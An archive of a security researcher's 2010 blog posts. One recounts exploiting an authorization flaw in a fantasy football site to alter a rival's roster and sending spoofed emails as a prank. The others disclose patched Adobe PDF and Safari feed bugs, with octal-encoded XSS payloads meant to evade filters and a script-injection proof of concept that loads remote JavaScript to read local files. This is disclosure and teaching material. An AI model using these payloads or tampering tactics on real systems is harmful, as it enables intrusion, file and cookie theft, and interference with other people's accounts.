Archive for the 'Security' Category
Wednesday, September 22nd, 2010
Put me in Coach!
*** UPDATE ***
Rex Grossman is out for the season. ESPN has fixed the issues I discussed below. However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed. This guy will have details posted soon –> http://lanmaster53.com/?p=182 . The fun never stops 
*** UPDATE ***
First, some background. I love American football. My team is the Chicago Bears. I’ve been a Bears fan since the 80′s when Walter Payton, Mike Singletary, and Jim McMahon dominated the field. The last few years as a Bears fan has been difficult, but I’ve hung in there. A few years ago the Bears had a quarterback named Rex Grossman. To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away. I never really liked him.
Earlier this month, I was invited to play in a fantasy football league. I’ve never played fantasy football, but I understood the rules and had many friends who played. My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot. Before the “season” begins, each player selects the football players they think will be the most successful during the season. As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers. I was shocked to see my star player injured in the first game of the season with a season ending injury. As I navigated the fantasy football website to find a replacement player, I came across several interesting issues. There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.
When a team decides to add a new player to their roster the player navigates through several menus and selection screens. The final confirmation URL for adding a player to the bench looks something like this:
leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20
The leagueId represents the “league” in which our teams are playing. The trans parameter represents the actual transaction. Looking at the trans parameter, I’ve broken the various pieces into the following:
2 <– this is the type of transaction to be executed
4480 <– This is the unique player ID for Rex Grossman
-1 <– some sort of increment value/ counter?
1002 <– another value that describes the transaction
3 <– team id for my team
20 <– not sure what this number is
Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking. These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster. I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).
Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.
A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play. My rival then dropped him from the roster before the next weeks play.
Unfortunately for my rival, Rex is a persistent player. This week I traded him from waivers for another player on my rivals team. Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).
trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20
The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup). In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.
Of course, another spoofed email goes out to explain the situation.
We’ll see what next week brings. I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…
Monday, September 6th, 2010
PDF XSS (CVE-2010-0190)
In April of this year, Adobe patched a couple of bugs I reported to them. One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190). I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.
PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content. With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment). Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF. The safer way to handle PDFs is to serve them with the content-disposition set to attachment. An even better method is to serve the user controlled content from a separate domain. This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures. Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.
Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs. I’d like to share some of the more interesting items.
PDFs Support Octal Encoding
PDFs support JavaScript from within the PDF. Unfortunately, the script executed from within the PDF will not have access to the browsers DOM. In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI. Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding. I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character. An example of the OpenAction is presented below:
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript\72alert(“FTW – “+document.domain))
>>
A super simple XSS with PDFs. When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS. Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline. Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it. In fact, octal encoding can be used throughout the PDF in various scripts and actions. For example, you could encode the entire protocol handler and it would still work:
/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))
You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.
/URI (j\101v\101s\103r\111p\124\72alert(document.domain))
If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload. This was the bug Adobe fixed with CVE-2010-0190
Security models are different for local and remote PDFs
Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely. It can be useful to determine whether the PDF was opened remotely or locally. The following script returns an indication as to how the PDF was loaded.
//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}
This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.
PDFs can be used to call the default browser
There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser. Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.
app.launchURL(“http://xs-sniper.com/”,true);
If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI. This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances. If the user is using the default browser to open the PDF, this can help bypass pop-up blockers. You can test this by setting your default browser to IE and browsing the following PDF in FireFox. PDF HERE
There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff. I hope this helps someone out there! Happy hunting.
Monday, August 2nd, 2010
Stealing Files With Safari 5 (CVE-2010-1778)
Last week, Apple patched a bug in Safari I had reported to the Apple security team. The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”. The advisory can be found here (CVE-2010-1778).
Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source. Then try browsing to the same URL with Safari and view source. You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).
When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript. This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy. This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol. The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):
<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>
<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link><im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>
The XML above is transformed into the following by Safari’s feed processing routines:
<div>
<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>
<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>
The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice. A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml). For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog. A better payload would be to crawl certain log files, extracting the username of the current user. Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into. Various configuration and ini files could be useful as well. I’m putting the final touches on a metasploit module that does just this